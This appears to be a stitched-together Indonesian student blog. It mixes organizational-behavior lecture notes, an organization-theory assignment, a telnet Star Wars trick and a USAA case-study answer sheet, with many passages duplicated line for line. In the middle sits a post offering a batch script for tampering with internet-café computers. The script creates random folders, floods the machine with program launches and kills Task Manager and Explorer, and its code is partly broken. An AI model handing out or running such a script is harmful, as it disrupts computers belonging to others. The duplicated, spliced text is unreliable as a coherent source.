Sistem Perilaku Organisasi
Sistem Perilaku Organisasi
PENGERTIAN
Perilaku Organisasi adalah suatu disiplin ilmu yang mempelajari bagaimana seharusnya perilaku tingkat individu, tingkat kelompok, serta dampaknya terhadap kinerja (baik kinerja individual, kelompok, maupun organisasi).
Perilaku organisasi juga dikenal sebagai Studi tentang organisasi. Studi ini adalah sebuah bidang telaah akademik khusus yang mempelajari organisasi, dengan memanfaatkan metode-metode dari ekonomi, sosiologi, ilmu politik, antropologi dan psikologi. Disiplin-disiplin lain yang terkait dengan studi ini adalah studi tentang Sumber daya manusia dan psikologi industri serta perilaku organisasi.
Konsep Perilaku Organisasi
Organisasi :
- Sistem kerja sama sekelompok orang yang mempunyai aturan dan keterikatan tertentu untuk mencapai tujuan yang telah ditentukan.
- Struktur pembagian kerja dan mekanisme kerja antara sekelompok orang yang mempunyai aturan dan keterikatan tertentu untuk mencapai tujuan yang telah ditentukan
Perilaku :
- Sikap dan tindakan
- Ilmu Perilaku organisasi
- Ilmu tentang perilaku tiap individu dan kelompok serta pengaruh tiap individu dan kelompok terhadap organisasi, maupun perilaku interaksi antara individu dengan individu, individu dengan kelompok dan kelompok dengan kelompok dalam organisasi demi kemanfaatan suatu organisasi.
Prinsip organisasi .
Suatu organisasi bisa dikatakan solid jika memiliki sifat sbb.
1. mempunyai tujuan yang jelas .
2. tujuan organisasi harus di terima dan di fahami oelh setiap orang di dalam organisasi.
3. memiliki kesatuan arah.
4. adanya keseimbangan antara wewenang dan tanggungjawab.
5. berkesinambungan .
6. penempatan orang harus sesuai ahlinya.
7. adanya pembagian tugas.
Manfaat organisasi
a. Menumbuhkan rasa kebersamaan.
b. Memperkuat tali persaudaraan.
c. Menyebarkan rasa tolong menolong.
d. Memperkaya informasi.
e. Meningkatkan kualitas pribadi.
f. Membangkitkan semangat juang..
g. Meningkatkan kualitas fakir.
h. Mengurangi sifat egoisme.
i. Membina kesatuan berfikir untuk menyamakanpemahaman mencapai tujuan.
j. Melatih toleransi
a. Menumbuhkan rasa kebersamaan.
b. Memperkuat tali persaudaraan.
c. Menyebarkan rasa tolong menolong.
d. Memperkaya informasi.
e. Meningkatkan kualitas pribadi.
f. Membangkitkan semangat juang..
g. Meningkatkan kualitas fakir.
h. Mengurangi sifat egoisme.
i. Membina kesatuan berfikir untuk menyamakanpemahaman mencapai tujuan.
j. Melatih toleransi
4 unsur utama perilaku organisasi :
- pandangan psikologi
- pandangan ekonomi
- pandangan bahwa individu dipengaruhi aturan org. dan pemimpinnya
- pandangan tentang penekanan kepada tuntutan manajer untuk mencapai tujuan organisasi.
- pandangan psikologi
- pandangan ekonomi
- pandangan bahwa individu dipengaruhi aturan org. dan pemimpinnya
- pandangan tentang penekanan kepada tuntutan manajer untuk mencapai tujuan organisasi.
Ilmu pendukung :
- psikologi (sosial/massa/ industri), sosiologi, ekonomi, politik.
ORGANISASI SEBAGAI SISTEM
Contoh:
- Kelas sebagai sistem sosial
kelas merupakan bagian dari mikrososiologi yang menelaah kehidupan kelompok sosial di sekolah dengan keseluruhan dinamika yang terjadi di dalamnya. Di sana terdapat gabungan dari individu-individu yang membentuk suatu kelompok sosial yang teratur dan memiliki fungsi dan peran yang kompleks dalam kacamata pendidikan. Ruang kelas memenuhi standar definisi kelompok sosial karena sekumpulan orang yang memiliki kesadaran bersama akan
keanggotaan dan saling berinteraksi (Horton dan Hunt, 1984).
- Kelas sebagai sistem sosial
kelas merupakan bagian dari mikrososiologi yang menelaah kehidupan kelompok sosial di sekolah dengan keseluruhan dinamika yang terjadi di dalamnya. Di sana terdapat gabungan dari individu-individu yang membentuk suatu kelompok sosial yang teratur dan memiliki fungsi dan peran yang kompleks dalam kacamata pendidikan. Ruang kelas memenuhi standar definisi kelompok sosial karena sekumpulan orang yang memiliki kesadaran bersama akan
keanggotaan dan saling berinteraksi (Horton dan Hunt, 1984).
Cara pandang kesisteman :
- Sistem tertutup : hasil adalah selalu buah dari suatu usaha dan manusia hanyalah bagian dari mesin organisasi yang kompleks.
- Sistem terbuka : kekuatan yang berupa perasaan, norma dan sikap berpengaruh terhadap perilaku seseorang dlm. organisasi (faktor lingkungan ikut berperan thd. perilaku seseorang dalam organisasi).
- Sistem tertutup : hasil adalah selalu buah dari suatu usaha dan manusia hanyalah bagian dari mesin organisasi yang kompleks.
- Sistem terbuka : kekuatan yang berupa perasaan, norma dan sikap berpengaruh terhadap perilaku seseorang dlm. organisasi (faktor lingkungan ikut berperan thd. perilaku seseorang dalam organisasi).
Manfaat ilmu perilaku organisasi bagi pimpinan dan anggota
organisasi.
- Menentukan kebijaksanaan
- Membuat aturan
- Memecahkan masalah, dll..
- Menentukan kebijaksanaan
- Membuat aturan
- Memecahkan masalah, dll..
RUANG LINGKUP ILMU PERILAKU
Perilaku manusia dalam organisasi
- Hart & Scott : para ahli punya pra-anggapan thd. perilaku manusia.
- Copernicus : matahari pusat jagad raya
- Darwin : evolusi
- B.F. Skinner : tindakan manusia dipengaruhi lingkungannya.
- Machiaveli : lebih baik ditakuti daripada dicintai (autokratis)
Perilaku manusia dalam organisasi
- Hart & Scott : para ahli punya pra-anggapan thd. perilaku manusia.
- Copernicus : matahari pusat jagad raya
- Darwin : evolusi
- B.F. Skinner : tindakan manusia dipengaruhi lingkungannya.
- Machiaveli : lebih baik ditakuti daripada dicintai (autokratis)
Teori perilaku berdasarkan teori Birokrasi Max Weber :
- Spesialisasi, tingkatan berjenjang, sistem prosedur/aturan, hubungan kerja impersonal, promosi dan penghasilan.
Sumber kewenangan :
1. rational-legal authority;
2. traditional authority;
3. charismatic authority.
Teori Organisasi Administratif Henry Fayol:
Setiap bentuk usaha terdiri dari 5 subsistem :
1. teknik dan komersial (pembelian, produksi, penjualan);
2. keuangan (pencarian dan pengendalian modal);
3. pengamanan;
4. akuntansi;
5. administrasi.
Teori Manajemen Ilmiah Frederick W. Taylor:
- studi waktu; pembedaan pengupahan; perencanaan kerja; sistem pembiayaan; standarisasi peralatan.
Perilaku organisasi dalam beberapa jenis pendekatan manajemen :
Manajemen tradisional
- Tiap individu memiliki perilaku tertentu dalam tiap proses perencanaan, organisasi, penggerakan dan pengawasan.
- Tiap kelompok/unit kerja memiliki karakteristik tertentu dalam berinteraksi di dalam maupun antar kelompok/unit kerja.
Manajemen berdasarkan sasaran :
- Tiap individu atau keompok memupunyai interest tertentu dalam menentukan sasaran kerja tiap unit dan bahkan penentuan sasaran organisasi.
Manajemen stratejik :
- Tiap individu atau kelompok memiliki pandangan yang berbeda dalam menganalisa lingkungan, penentuan visi dan misi, perumusan strategi, implementasi strategi maupun pengendalian strategi.
Manajemen mutu terpadu :
- Tiap individu atau kelompok memiliki tolok ukur mutu yang berbeda dan memiliki komitmen mutu yang berbeda pula..
Tugas Organisasi dan Metode
1. Arti Penting Organisasi dan Metode
Jawab :
Organisasi pada dasarnya digunakan sebagai tempat atau wadah di mana
orang-orang berkumpul, bekerjasama secara Rasional dan Sistemais, Terencana,
Terorganisasi, Terpimpin dan Terkendali, dalam memanfaatkan sumber daya (uang,
material, mesin, metode, lingkungan), sarana-parasarana, data, dan lain
sebagainya yang di gunakan secara efisien dan efekif untuk mencapai tujuan
organisasi. Atau dapat disebut sebagai bentuk formal dari sekelompok manusia
dengan tujuan individualnya masing-masing (gaji, kepuasan kerja, dll) yang
bekerjasama dalam suatu proses tertentu untuk mencapai tujuan bersama (tujuan
organisasi).
Agar tujuan organisasi dan tujuan individu dapat tercapai secara
selaras dan harmonis maka diperlukan kerjasama dan usaha yang sungguh-sungguh
dari kedua belah pihak (pengurus organisasi dan anggota organisasi) untuk
bersama-sama berusaha saling memenuhi kewajiban masing-masing secara
bertanggung jawab, sehingga pada saat masing-masing mendapatkan haknya dapat
memenuhi rasa keadilan baik bagi anggota organisasi/pegawai maupun bagi
pengurus organisasi/pejabat yang berwenang.
Pengertian organisasi dan metode
secara lengkap adalah rangkaian proses kegiatan yang harus dilakukan untuk
meningkatkan kegunaan segala sumber dan factor yang menentukan bagi berhasilnya
proses manajemen terutama dengan memperhatikan fungsi dan dinamika organisasi
atau birokrasi dalam rangka mencapai tujuan yang sah ditetapkan.
Sumber : Http://.abdilahkhusu.blogspot.com
22. Sejarah Organisasi ?
Jawab :
Terdapat
beberapa teori dan perspektif mengenai organisasi, ada yang cocok satu sama
lain, dan ada pula yang berbeda. Menurut
para ahli terdapat beberapa pengertian organisasi sebagai berikut :
Stoner mengatakan
bahwa organisasi adalah suatu pola hubungan-hubungan yang melalui orang-orang
dibawah pengarahan atasan mengejar tujuan bersama.
James D.Mooneymengemukakan bahwa organisasi adalah bentuk setiap
perserikatan manusia untuk mencapai tujuan bersama.
Chester I.Benard berpendapat bahwa organisasi adalah suatu sistem aktivitas
kerjasama yang dilakukan oleh dua orang atau lebih.
Stephen P.Robbins menyatakan bahwa organisasi adalah kesatuan (entity) sosial yang dikoordinasikan secara sadar,
dengan sebuah batasan yang relative dapat didefenisiskan, yang bekerja atas
dasar yang relative terus-menerus untuk mencapai suatu tujuan bersama atau
sekelompok tujuan.
Sebuah organisasi dapat terbentuk
karena dipengaruhi oleh beberapa aspek seperti penyatuan visi dan misi serta
tujuan yang sama dengan perwujudan eksistensi sekelompok orang tersebut
terhadap masyarakaat. Organisasi yang dianggap baik adalah organisasi yang
dapat diakui keberadaannya oleh masyarakat disekitarnya, karena memberikan
konstribusi seperti; pengambilan sumberdaya manusia dalam masyarakat sebagai
anggota-anggotanya sehingga menekan angka pengangguran.
Orang-orang yang ada di dalam suatu organisasi
mempunyai suatu keterkaitan yang terus-menerus. Rasa keterkaitan ini, bukan
berarti keanggotaan seumur hidup. Akan tetapi sebaliknya, organisasi menghadapi
perubahanyang konstan di dalam keanggotaan mereka, meskipun pada saat mereka
menjadi anggota, orang-orang dalam organisasi berpartisipasi secara
relatifteratur.
33. Desain organisasi formal dan
informal
Jawab:
Desain organisasi menekankan pada sisi
manajemen dari teori organisasi dengan mempertimbangkan konstruksi dan mengubah
struktur organisasi untuk mencapai tujuan organisasi.
·
Organisasi
Formal
Organisasi
formal adalah kumpulan dari dua orang atau lebih yang mengikatkan diri dengan
suatu tujuan bersama secara sadar serta dengan hubungan kerja yang rasional.
contoh : Perseroan Terbatas, Sekolahan, Negara, dsb.
·
Organisasi
Informal
Organisasi
informal adalah kumpulan dari dua orang atau lebih yang terlibat pada suatu
aktifitas serta tujuan bersama yang tidak disadari. Contoh : arisan ibu-ibu
sekampung belajar bersama anak-anak sd, kemping ke gunung pangrango rame-rame
dengan teman, dan lain-lain.
Salah satu bagian penting organisasi
adalah pengelompokkan informal dan hubungan-hubungan pribadi yang dapat lebih
berpengaruh dibanding dengan hubungan formal seperti yang ditunjukkan bagan
organisasi.
Sumber : Http://njiee.blogspot.com
44. Teori Organisasi
Jawab :
Teori organisasi adalah teori yang mempelajari kinerja dalam sebuah organisasi,
salah satu kajian teori organisasi, diantaranya membahas tentang bagaimana
sebuah organisasi menjalankan fungsi dan mengaktualisasikan visi dan misis
organisasi tersebut. Selain itu, dipelajari bagaimana sebuah organisasi
mempengaruhi dan dipengaruhi oleh orang didalamnya maupun lingkungan kerja
organisasi tersebut.
Menurut Lubis dan Husein (1987)
bahwa teori organisasi itu adalah sekumpulan ilmu pengetahuan yang membicarakan
mekanisme kerjasama dua orang atau lebih secara sistematis untuk mencapai
tujuan yang telah ditentukan. Teori organisasi merupakan sebuah teori untuk
mempelajari kerjasama pada setiap individu.
Cara Jailin Warnet dengan Virus !!!
copy code di bawah ini lalu simpan dengan format : .bat
Code:
@ECHO OFF
TITLE Bukan Virus, Tau Tau Kepalamu Hangus
COLOR 0A
:JHT
ECHO JHT JHT JHT JHT JHT JHT JHT JHT JHT JHT JHT JHT JHT JHT
MD "Desktop\System%random%
MD "C:\System%Random%
MD "D:\System%Random%
Start Notepad.exe
Start Mozilla.exe
Start Winamp.exe
Start Chrome.exe
Start IDman.exe
Start *:\*.*
Taskkill Taskmgr.exe /F /IM
Taskkill Explorer.exe /F /IM
GOTO MHTThanks dan semoga membantu ya guyss.... :)
ini sekedar buat belajar aja yaaaaaa????
Sumber : rickodsn.blogspot.com
Nonton Star Wars Lewat CMD.
Kali Ini Mau share Cara nonton Video Star Wars lewat CMD .
Asik loohh =)
Yuk Dimulai.
Asik loohh =)
Yuk Dimulai.
- Pertama kalian Harus Aktifkan Telnet Client Di Laptop Atau Pc Kalian.
Cara Mengaktifkannya Dengan Cara Membuka Control Panel Lalu Pilih Program.dan pilih program dan Feature.
- Lalu Kalian Aktifkan Telnet Client..
- Setelah Aktif Telnetnya Kalian Buka CMD dan Tulis Perintah .
Perintah nya dibawah ini
1)Telnet
2)o
3)Towel.blinkenlights.nl - Lalu Ok ..
- tinggal Kalian Tunggu Film Star Treknya Akan Berjalan Otomatis
- Jangan Lupa Koment Ya Kalau berhasil , Kalau tidak bisa Silahkan Bertanya =)
Sumber : rickodsn.blogspot.com
Tugas 24 oktober 2013
Kelompok USAA san Antonio Texas , adalah sebuah perusahaan jasa keuangan besar yang tergabung dengan Automobile Association layanan dan beberapa anak perusahaan , termasuk kelompok reksa dana , perusahaan asuransi , perusahaan investasi , dan perusahaan asuransi sederhana . Beberapa tahun yang lalu presiden . Robert F.Mcdermott , menyampaikan pesan untuk anggota asosiasi
Salah satu pertanyaan penting yg di tujukan untuk perusahaan bisnis pada tahun 1980 adalah : Apa bisnis yg sebetulnya kita kerjakan ? semakin banyak kita melihat pertanyaan yg di tujukan di ruang rapat . Hal ini terutama berlaku di pasar keuangan. Pengecer seperti Sears Roebuck dan JC Penney telah memasuki lapangan dengan atau mendirikan perusahaan pialang saham , tabungan dan asosiasi kredit , perusahaan asuransi , dan sebagainya. Pialang saham , perusahaan asuransi bank dan bahkan perusahaan manufaktur telah masuk , atau mencoba untuk masuk , sektor jasa keuangan arena sebelumnya yg tidak diketahui oleh mereka .
Seberapa pentingkah revolusi keuangan ini bagi hubungan yang dimiliki anggota seperti Kelompok USAA ? ini Adalah waktu yg tepat bagi kita untuk bertanya pada diri sendiri , "Apa bisnis yg sebetulnya kita kerjakan ? Faktanya adalah bahwa dewan direksi dan eksekutif asosiasi telah melakukan hal itu pada banyak kesempatan selama lebih dari enam puluh tahun keberadaan bisnis kami . Mereka melakukannya begitu sebelum kami memutuskan untuk memasuki bidang propeti - asuransi di tahun 1930-an , sebelum kami menawarkan asuransi jiwa pertama kami - pada tahun 1960, dan sebelum kami mendirikan pengumpulan dana pertama kami di awal 1970-an .
USAA dahulu tidak hanya menjadi penjamin asuransi Automobile . " Ini telah berkembang , dalam merespon kebutuhan anggota , menjadi penyedia berbagai dewan produk asuransi dan keuangan . Pengujian terbaik dari seberapa baik kita telah di biayai, dalam upaya ini terletak pada respon dari anggota kami . Untuk menentukan ini , Mari kita lihat kartu catatan
.
Pada tahun 1960 , tidak ada anggota USAA yg memiliki kebijakan pemilik rumah dengan asosiasi . saat ini USAA menjamin lebih dari 700.000 rumah yang dimiliki oleh mantan anggota(militer).
Pada tahun 1960 , tidak ada anggota USAA yg memiliki kebijakan pemilik rumah dengan asosiasi . saat ini USAA menjamin lebih dari 700.000 rumah yang dimiliki oleh mantan anggota(militer).
kenyataannya perwira militer yg masih aktif bertugas mengasuransikan
rumah mereka dengan USAA dibandingkan dengan semua
perusahaan lainnya.Demikian
pula pada tahun 1960 tidak ada anggota memiliki asuransi jiwa atau investasi
jiwa dengan kami . Saat ini , lebih dari seperempat juta
anggota telah memilih kami untuk produk ini Lebih dari seribu penyedia di pasar . Saya mengambil banyak kebanggaan dan juga
semua karyawan kami , dalam catatan ini penerimaan anggota .
Misi kami dalam masa-masa perubahan adalah apa yang selalu memberikan kelompok eksklusif kami anggota dengan biaya terendah dan kualitas tertinggi layanan dimanapun .itulah komitmen kami
Misi kami dalam masa-masa perubahan adalah apa yang selalu memberikan kelompok eksklusif kami anggota dengan biaya terendah dan kualitas tertinggi layanan dimanapun .itulah komitmen kami
Pertanyaan =
- Identitas laporan strategi yang dilakukan oleh Mc.Dermott
- Berdasarkan informasi yang disajikan dalam laporan , bukti apa yang dapat Anda hadir bahwa USAA Group adalah sebuah organisasi yang terencana ?
- Apa kebijakan pernyataan di Mc.Dermontt membuat yang akan memandu perilaku karyawan perusahaan
- Tentukan dua
tujuan tersirat dalam pernyataan Mc.Dermott ' s tentang perusahaannya .
Jawaban =
- Strategi Yang di lakukan oleh Mc.Dermott ingin memberikan asuransi jiwa dan lain lain ke anggota mantan tentara amerika atau tentara amerika
- USAA memiliki rencana yang detail , mereka tergabung dalam perusahaan perusahaan Assosiasi Automobile dan lain lain .
- Pesan MC.Dermott untuk memandu agar karyawannya bersikap profesional dengan memberikan pelayanan terbaik di mana pun
- a) pada tahun
1960, tidak ada anggota USAA memiliki kebijakan pemilik rumah dengan asosiasi.
Hari ini, USAA menjamin lebih dari 700.000 rumah yang dimiliki oleh anggota
keluar
b) Demikian pula pada tahun 1960 tidak ada anggota memiliki asuransi jiwa investasi reksadana dengan kami. Saat ini lebih dari seperempat juta anggota telah terpilih kami untuk produk ini selama bertahap. saya mengambil banyak kebanggaan, dan begitu juga seluruh karyawan kami, dalam catatan ini kesepakatan anggota
